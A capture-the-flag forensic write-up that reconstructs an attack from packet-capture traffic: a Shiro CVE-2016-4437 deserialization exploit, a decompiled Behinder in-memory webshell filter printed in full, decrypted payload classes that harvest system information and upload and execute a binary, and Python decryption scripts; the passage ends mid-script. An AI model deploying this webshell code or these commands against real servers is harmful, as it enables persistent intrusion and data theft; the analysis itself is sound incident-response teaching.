2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp
Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... $$$cm9vdAo=$$$ Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved. Subsequent commands were executed, returning: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Nothing particularly useful was found. Subsequently, a request was sent: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D The server responded: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- No further similar packets were observed, indicating a webshell was likely implanted. Layer 2: Behinder WebShell Memory-Shell Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded: {collapse} {collapse-item label="Code - Click to show"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records. Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) The output started with CAFEBABE, the Java class file header. Opening it with Jadx: {collapse} {collapse-item label="Code - Click to show"} package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this. Continuing to decrypt and reverse the second request: {collapse} {collapse-item label="Code - Click to show"} package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "[binary]"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder(" 环境变量: "); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + " "); } basicInfo.append(" JRE系统属性: "); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + " "); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} This retrieved system information. Decoding the response confirmed this. Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp. Later, a file write operation was found: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark's Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary. Finally, a hash check was performed: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } Execution permissions were granted: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } Then it was executed: package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this. Layer 3: Custom Shell Following the HTTP stream, a TCP stream communication was found. Dumping it revealed: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM's structure (12-byte nonce, 16-byte tag). Attempting GCM decryption: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 